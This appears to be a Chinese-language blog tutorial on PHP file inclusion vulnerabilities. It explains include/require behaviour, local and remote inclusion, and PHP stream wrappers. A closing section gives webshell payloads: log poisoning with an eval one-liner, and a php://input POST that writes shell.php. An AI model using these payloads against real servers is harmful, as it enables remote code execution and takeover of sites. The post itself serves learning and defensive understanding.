文件包含漏洞

文件包含漏洞

什么是文件包含

简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

文件包含漏洞成因

在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。

PHP文件包含的函数

include(‘file.php’)

当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。

include_once( )

功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次

require( )

require()与 include()的区别在于 require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。

require_once( )

功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含漏洞分类

本地文件包含漏洞(LFI)->local file include

当包含的文件在服务器本地时,就形成了本地文件包含。
//lfi.php ?file=../phpinfo.txt
先说一下文件包含的一个要点:文件包含可以包含任意文件,即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。
可以看到,以上代码中可以控制可控参数file来控制包含的$file的值。
如果包含的文件内容不符合php语言语法的,会直接将文件内容输出,比如:

?file=../file.txt

远程文件包含漏洞(RFI)->remote file include

远程文件包含,可以包含远程文件
利用条件

allow_url_fopen=On
allow_url_include=On

PHP伪协议加载文件

file:// — 访问本地文件系统 //allow_url_fopen和allow_url_include
双Off情况下可正常使用

http:// — 访问 HTTP(s) 网址 //allow_url_fopen和allow_url_include双on

情况下可正常使用

ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams) //不需要开启allow_url_fopen(仅
php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
zlib:// — 压缩流 //双Off条件下可使用
data:// — 数据(RFC 2397) //双On
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

具体利用参考文件包含漏洞.xlsx

利用文件包含漏洞getshell

利用日志文件getshell

随便请求一个url/<?php @eval($_POST[cmd])?>
此请求会被记录到访问日志文件中,linux apache在/var/log/httpd/access.log中
再利用文件包含漏洞将日志文件包含进来,即可getshell

利用伪协议执行shell或写入shell

执行shell参考文件包含漏洞.xlsx中提供的方法
写shell

?file=php://input

POST

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 文件上传漏洞 文件上传漏洞就是用户上传一个可执行的文件脚本,并通过脚本获得执行服务器端命令的的能力。 上传的文件可...
    L1E6N0A2阅读 5,335评论 0 2
  • 一、文件包含漏洞简介 1、包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文...
    小小怪吃吃吃阅读 5,395评论 0 0
  • http://tieba.baidu.com/p/2310282657 什么是”远程文件包含漏洞”?服务器通过ph...
    查无此人asdasd阅读 6,223评论 0 2
  • 漏洞概述: 文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动态包含在服务器的文件,从而导致恶意代码的执行及...
    book4yi阅读 6,243评论 0 1
  • 今天感恩节哎,感谢一直在我身边的亲朋好友。感恩相遇!感恩不离不弃。 中午开了第一次的党会,身份的转变要...
    余生动听阅读 13,602评论 0 11

友情链接更多精彩内容